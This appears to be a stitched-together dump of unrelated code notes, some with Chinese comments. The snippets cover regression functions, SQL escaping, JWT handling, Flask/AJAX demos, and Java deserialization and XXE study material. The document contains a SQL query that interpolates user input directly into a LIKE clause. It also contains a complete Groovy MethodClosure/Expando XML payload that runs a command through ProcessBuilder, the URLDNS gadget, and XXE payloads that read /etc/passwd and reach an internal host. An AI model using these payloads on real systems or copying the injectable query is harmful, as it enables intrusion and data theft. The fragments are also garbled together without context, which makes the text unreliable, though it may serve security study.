def standRegres(xArr, yArr):
    '''
    计算最佳拟合直线
    :param xArr:
    :param yArr:
    :return:
    '''
    xMat = mat(xArr)
    yMat = mat(yArr).T #Returns the transpose of the matrix
    xTx = xMat.T*xMat
    if linalg.det(xTx) == 0.0:
        print("This matrix is singular, cannot do inverse")
        return
    ws = xTx.I * (xMat.T*yMat)
    return ws

def lwlr(testPoint, xArr, yArr, k=1.0):
    '''
    局部加权线性回归
    给定x空间中的任意一点，计算出对应的预测值yHat
    :param testPoint:
    :param xArr:
    :param yArr:
    :param k:
    :return:
    '''
    xMat = mat(xArr)
    yMat = mat(yArr).T
    m = shape(xMat)[0]
    weights = mat(eye((m))) #对角权重矩阵
    for j in range(m):
        diffMat = testPoint - xMat[j, :]     #
        weights[j, j] = exp(diffMat*diffMat.T/(-2.0*k**2))
    xTx = xMat.T * (weights * xMat)
    if linalg.det(xTx) == 0.0:
        print("This matrix is singular, cannot do inverse")
        return
    ws = xTx.I * (xMat.T * (weights * yMat))
    return testPoint * ws

def ridgeRegres(xMat, yMat, lam=0.2):
    '''
    计算回归系数
    :param xMat:
    :param yMat:
    :param lam:
    :return:
    '''
    xTx = xMat.T*xMat
    denom = xTx + eye(shape(xMat)[1])*lam
    if linalg.det(denom) == 0.0:
        print("This matrix is singular, cannot do inverse")
        return
    ws = denom.I * (xMat.T*yMat)
    return ws
    
def ridgeTest(xArr, yArr):
    xMat = mat(xArr)
    yMat=mat(yArr).T
    yMean = mean(yMat, 0)
    yMat = yMat - yMean
    xMeans = mean(xMat, 0)
    xVar = var(xMat, 0)
    xMat = (xMat - xMeans)/xVar
    numTestPts = 30
    wMat = zeros((numTestPts, shape(xMat)[1]))
    for i in range(numTestPts):
        ws = ridgeRegres(xMat, yMat, exp(i-10))
        wMat[i, :] = ws.T
    return wMat

async search(
  ……
  let rows = await getManager().query(`
    SELECT DISTINCT(id),
        name,
        description,
        gmt_modified
    FROM(
      SELECT a.*, 
      ……
      WHERE name LIKE '%${name}%' OR tag_name LIKE '%${name}%'
      ORDER BY gmt_modified DESC 
      LIMIT 20
  `);
  …….

var sorter = 'date';
var sql    = 'SELECT * FROM posts ORDER BY ' + connection.escapeId(sorter);
connection.query(sql, function (error, results, fields) {
  if (error) throw error;
  // ...
});

var sorter = 'date';
var sql    = 'SELECT * FROM posts ORDER BY ' + connection.escapeId('posts.' + sorter);
// -> SELECT * FROM posts ORDER BY `posts`.`date`

var sql = "SELECT * FROM ?? WHERE ?? = ?";
var inserts = ['users', 'id', userId];
sql = mysql.format(sql, inserts);

connection.config.queryFormat = function (query, values) {
  if (!values) return query;
  return query.replace(/\:(\w+)/g, function (txt, key) {
    if (values.hasOwnProperty(key)) {
      return this.escape(values[key]);
    }
    return txt;
  }.bind(this));
};

connection.query("UPDATE posts SET title = :title", { title: "Hello MySQL" });

URLStreamHandler handler = new SilentURLStreamHandler();

········

static class SilentURLStreamHandler extends URLStreamHandler {

        protected URLConnection openConnection(URL u) throws IOException {
                return null;
        }

        protected synchronized InetAddress getHostAddress(URL u) {
                return null;
        }
}

HashMap ht = new HashMap();  //HashMap中将包含URL
URL u = new URL(null, url, handler);  //创建URL，作为HashMap中的key
ht.put(u, url); //值可以是任何Serializable, URL作为key触发DNS lookup。

Reflections.setFieldValue(u, "hashCode", -1);//在上面的put过程中，URL的hashCode被计算并缓存。这将重置它，以便下次调用hashCode时触发DNS查找。

public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}

protected int hashCode(URL u) {
    int h = 0;

    // Generate the protocol part.
    String protocol = u.getProtocol();
    if (protocol != null)
        h += protocol.hashCode();

    // Generate the host part.
    InetAddress addr = getHostAddress(u);

private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    reinitialize();
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " +
                                         loadFactor);
    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0)
        throw new InvalidObjectException("Illegal mappings count: " +
                                         mappings);
    else if (mappings > 0) { // (if zero, use defaults)
        // Size the table using given load factor only if within
        // range of 0.25...4.0
        float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
        float fc = (float)mappings / lf + 1.0f;
        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                   DEFAULT_INITIAL_CAPACITY :
                   (fc >= MAXIMUM_CAPACITY) ?
                   MAXIMUM_CAPACITY :
                   tableSizeFor((int)fc));
        float ft = (float)cap * lf;
        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                     (int)ft : Integer.MAX_VALUE);

        // Check Map.Entry[].class since it's the nearest public type to
        // what we're actually creating.
        SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
        @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
        table = tab;

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

/**
 * Implements Map.put and related methods
 *
 * @param hash hash for key
 * @param key the key
 * @param value the value to put
 * @param onlyIfAbsent if true, don't change existing value
 * @param evict if false, the table is in creation mode.
 * @return previous value, or null if none
 */
final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
               boolean evict)

public class MethodClosure extends Closure {
    private String method;

    public MethodClosure(Object owner, String method) {
        super(owner);
        this.method = method;
        Class clazz = owner.getClass() == Class.class ? (Class)owner : owner.getClass();
        this.maximumNumberOfParameters = 0;
        this.parameterTypes = new Class[0];
        List<MetaMethod> methods = InvokerHelper.getMetaClass(clazz).respondsTo(owner, method);
        Iterator i$ = methods.iterator();

        while(i$.hasNext()) {
            MetaMethod m = (MetaMethod)i$.next();
            if (m.getParameterTypes().length > this.maximumNumberOfParameters) {
                Class[] pt = m.getNativeParameterTypes();
                this.maximumNumberOfParameters = pt.length;
                this.parameterTypes = pt;
            }
        }

    }

    public String getMethod() {
        return this.method;
    }

    protected Object doCall(Object arguments) {
        return InvokerHelper.invokeMethod(this.getOwner(), this.method, arguments);
    }

public static Object invokeMethod(Object object, String methodName, Object arguments) {
    if (object == null) {
        object = NullObject.getNullObject();
    }

    if (object instanceof Class) {
        Class theClass = (Class)object;
        MetaClass metaClass = metaRegistry.getMetaClass(theClass);
        return metaClass.invokeStaticMethod(object, methodName, asArray(arguments));
    } else {
        return !(object instanceof GroovyObject) ? invokePojoMethod(object, methodName, arguments) : invokePogoMethod(object, methodName, arguments);
    }
}

MethodClosure mc = new MethodClosure(new java.lang.ProcessBuilder("open","/Applications/Calculator.app"), "start").call();

public int hashCode() {
    Object method = this.getProperties().get("hashCode");
    if (method != null && method instanceof Closure) {
        Closure closure = (Closure)method;
        closure.setDelegate(this);
        Integer ret = (Integer)closure.call();
        return ret.intValue();
    } else {
        return super.hashCode();
    }
}

public V put(K key, V value) {
    if (table == EMPTY_TABLE) {
        inflateTable(threshold);
    }
    if (key == null)
        return putForNullKey(value);
    int hash = hash(key);
    int i = indexFor(hash, table.length);
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            V oldValue = e.value;
            e.value = value;
            e.recordAccess(this);
            return oldValue;
        }
    }

    modCount++;
    addEntry(hash, key, value, i);
    return null;
}

public void setProperty(String property, Object newValue) {
    this.getProperties().put(property, newValue);
}

<map> 
  <entry> 
    <groovy.util.Expando> 
      <expandoProperties> 
        <entry> 
          <string>hashCode</string> 
          <org.codehaus.groovy.runtime.MethodClosure> 
            <delegate class="groovy.util.Expando" reference="../../../.."/> 
            <owner class="java.lang.ProcessBuilder"> 
              <command> 
                <string>open</string> 
                <string>/Applications/Calculator.app</string> 
              </command> 
              <redirectErrorStream>false</redirectErrorStream> 
            </owner> 
            <resolveStrategy>0</resolveStrategy> 
            <directive>0</directive> 
            <parameterTypes/> 
            <maximumNumberOfParameters>0</maximumNumberOfParameters> 
            <method>start</method> 
          </org.codehaus.groovy.runtime.MethodClosure> 
        </entry> 
      </expandoProperties> 
    </groovy.util.Expando> 
    <int>1</int> 
  </entry> 
</map>

iss：Issuer，发行者
sub：Subject，主题
aud：Audience，观众
exp：Expiration time，过期时间
nbf：Not before
iat：Issued at，发行时间
jti：JWT ID

private static final JWSHeader header=new JWSHeader(JWSAlgorithm.HS256, JOSEObjectType.JWT, null, null, null, null, null, null, null, null, null, null, null);
    
	/**
	 * 生成token，该方法只在用户登录成功后调用
	 * 
	 * @param Map集合，可以存储用户id，token生成时间，token过期时间等自定义字段
	 * @return token字符串,若失败则返回null
	 */
	public static String createToken(Map<String, Object> payload) {
		String tokenString=null;
		// 创建一个 JWS object
		JWSObject jwsObject = new JWSObject(header, new Payload(new JSONObject(payload)));
		try {
			// 将jwsObject 进行HMAC签名
			jwsObject.sign(new MACSigner(SECRET));
			tokenString=jwsObject.serialize();
		} catch (JOSEException e) {
			System.err.println("签名失败:" + e.getMessage());
			e.printStackTrace();
		}
		return tokenString;
	}

public static Map<String, Object> validToken(String token) {
		Map<String, Object> resultMap = new HashMap<String, Object>();
		try {
			JWSObject jwsObject = JWSObject.parse(token);
			Payload payload = jwsObject.getPayload();
			JWSVerifier verifier = new MACVerifier(SECRET);
			if (jwsObject.verify(verifier)) {
				JSONObject jsonOBj = payload.toJSONObject();
				// token校验成功（此时没有校验是否过期）
				resultMap.put("state", TokenState.VALID.toString());
				// 若payload包含ext字段，则校验是否过期
				if (jsonOBj.containsKey("ext")) {
					long extTime = Long.valueOf(jsonOBj.get("ext").toString());
					long curTime = new Date().getTime();
					// 过期了
					if (curTime > extTime) {
						resultMap.clear();
						resultMap.put("state", TokenState.EXPIRED.toString());
					}
				}
				resultMap.put("data", jsonOBj);
			} else {
				// 校验失败
				resultMap.put("state", TokenState.INVALID.toString());
			}
		} catch (Exception e) {
			//e.printStackTrace();
			// token格式不合法导致的异常
			resultMap.clear();
			resultMap.put("state", TokenState.INVALID.toString());
		}
		return resultMap;
	}	

JAXP DocumentBuilderFactory, SAXParserFactory and DOM4J
XMLInputFactory (a StAX parser)
Oracle DOM Parser
TransformerFactory
Validator
SchemaFactory
SAXTransformerFactory
XMLReader
SAXReader
SAXBuilder
No-op EntityResolver
JAXB Unmarshaller
XPathExpression
java.beans.XMLDecoder
Other XML Parsers
Spring Framework MVC/OXM XXE Vulnerabilities
Castor
……..

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

saxReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
saxReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
saxReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

public class SSRFWhiteChecker extends WhiteChecker {
    private static SSRFWhiteChecker instance = null;

    public SSRFWhiteChecker(){

    }

    public static SSRFWhiteChecker getInstance() {
        if (null == instance) {
            synchronized (SSRFWhiteChecker.class) {
                if (null == instance) {
                    instance = new SSRFWhiteChecker();
                }
            }
        }
        return instance;
    }

    /**
     * @Description: 校验url是否在白名单内
     * @Param: url 网络地址
     * @return: boolean true 在白名单内；false 不在白名单内
     */
    public boolean verifyURL(String url){
        return super.verifyURL(url);
    }
}

/**
 * 定义要在绑定或连接TCP套接字之前调用的静态方法。
 */

public final class NetHooks {

    /**
     * 带钩子的提供者，允许在绑定或连接TCP套接字之前转换套接字。
     *
     * <p> 这个类的具体实现应该定义一个零参数构造函数，并实现下面指定的抽象方法。
     */
    public static abstract class Provider {
        /**
         *初始化该类的新实例。
         */
        protected Provider() {}

        /**
         *在绑定TCP套接字之前调用。
         */
        public abstract void implBeforeTcpBind(FileDescriptor fdObj,
                                               InetAddress address,
                                               int port)
            throws IOException;

        /**
         *在连接未绑定的TCP套接字之前调用。
         */
        public abstract void implBeforeTcpConnect(FileDescriptor fdObj,
                                                 InetAddress address,
                                                 int port)
            throws IOException;
    }

    /**
     * 现在，我们在Solaris上加载SDP provider。将来，这可能会被更改为使用ServiceLoader工具，以允许部署其他提供者。
     */
    private static final Provider provider = new sun.net.sdp.SdpProvider();

    /**
     * 在绑定TCP套接字之前调用。
     */
    public static void beforeTcpBind(FileDescriptor fdObj,
                                     InetAddress address,
                                     int port)
        throws IOException
    {
        provider.implBeforeTcpBind(fdObj, address, port);
    }

    /**
     * 在连接未绑定的TCP套接字之前调用。
     */
    public static void beforeTcpConnect(FileDescriptor fdObj,
                                        InetAddress address,
                                        int port)
        throws IOException
    {
        provider.implBeforeTcpConnect(fdObj, address, port);
    }
}

$(" #name ").val()
$(" input[ name='name' ] ").val()
$(" input[ type='text' ] ").val()
$(" input[ type='text' ]").attr("value")
、、、

<body>
<p>jquery ajax</p>
<form id="form1">
    <input type="text" id="name">
    <input type="submit" value="Submit form" id="submit" />
</form>
<script type="text/javascript">
    $('#submit').click(function(){
        var data={}
        data['name'] = $('#name').val();
        $.ajax({
            type: 'POST',
            url: "/trans1",
            data: JSON.stringify(data),
            contentType: 'application/json; charset=UTF-8',
            dataType: 'json',
            success: function(data) {
                alert(data)
            },
            error: function(xhr, type) {
            }
        });
    });
</script>
</body>

@app.route('/trans1', methods=['post'])
def trans1():
    name = request.get_json('name')
    print(name['name'])
    return jsonify(name['name'] + '233333')

<script type="text/javascript">
    $('#submit').click(function(){
        var data={}
        data['name'] = $('#name').val();
        var url = "/trans1";
        $.post(url,JSON.stringify(data),function(data){alert(data)},'json');
    });
</script>

from flask_wtf import Form
from wtforms import StringField,SubmitField
from wtforms.validators import DataRequired


class TestForm(Form):
    name = StringField('name', validators=[DataRequired()])
    submit = SubmitField(label='submit')


@app.route('/wtform', methods=['get','post'])
def wtform():
    form = TestForm()
    name = form.name.data
    print(name)
    return render_template('wtform.html', form=form, name=name)

<body>
<form action="{{ url_for('wtform') }}" method="post">
    {{form.hidden_tag()}}
    <p>
        {{form.name}}<br>
        {{ form.submit }}
    </p>
    <p>Hello, {{ name }}</p>
</form>
</body>

<html>
  <head>
    <title>Practice AJAX</title>
    <script type="text/javascript">
      function do_ajax() {
        var req = new XMLHttpRequest();
        var result = document.getElementById('result');
        req.onreadystatechange = function()
        {
          if(this.readyState == 4 && this.status == 200) {
            result.innerHTML = this.responseText;
          } else {
            result.innerHTML = "...";
          }
        }
        req.open('POST', '/xmlhttp', true);
        req.setRequestHeader('content-type', 'application/x-www-form-urlencoded;charset=UTF-8');
        req.send("name=" + document.getElementById('name').value);
      }
    </script>
  </head>
  <body>
    <form action="index" method="post">
      <label>Name:<input type="text" id="name" value="" /></label>
      <button type="button" id="btn-post" onclick="do_ajax();">Click</button>
      <div id="result"></div>
    </form>
  </body>
</html>

@app.route('/xmlhttp', methods=['GET', 'POST'])
def xmlhttp():
    if request.method == 'POST':
        name = request.form['name']
        return 'hello' + name
    return render_template('XMLHttpRequest.html')

<!DOCTYPE HTML>
<html>
<head>
    <title>Flask-SocketIO Test</title>
    <script type="text/javascript" src="//cdn.bootcss.com/jquery/3.1.1/jquery.min.js"></script>
    <script type="text/javascript" src="//cdn.bootcss.com/socket.io/1.5.1/socket.io.min.js"></script>
    <script type="text/javascript" charset="utf-8">
    $(document).ready(function() {
        var socket = io.connect();

        socket.on('connect', function() {
            socket.emit('connect_event', {data: 'connected!'});
        })

        socket.on('server_response', function(msg) {
            $('#log').append('<br>' + $('<div/>').text('Received #' + ': ' + msg.data).html());
        });

        $('form#emit').submit(function(event) {
                socket.emit('client_event', {data: $('#emit_data').val()});
                return false;
            });
    });

    </script>
</head>
<body>
    <h2>WebSokect</h2>
    <form id="emit" method="POST" action='#'>
        <input type="text" name="emit_data" id="emit_data" placeholder="Message">
        <input type="submit" value="Echo">
    </form>
    <div id='log'></div>
</body>
</html>

#!/usr/bin/env python
from flask import Flask, render_template, session, request
from flask_socketio import SocketIO, emit

app = Flask(__name__)
app.config.from_pyfile('config.py')

socketio = SocketIO(app)


@app.route('/')
def index():
    return render_template('websocket.html')


@socketio.on('client_event')
def client_msg(msg):
    emit('server_response', {'data': msg['data']})


@socketio.on('connect_event')
def connected_msg(msg):
    emit('server_response', {'data': msg['data']})


if __name__ == '__main__':
    socketio.run(app, host='0.0.0.0')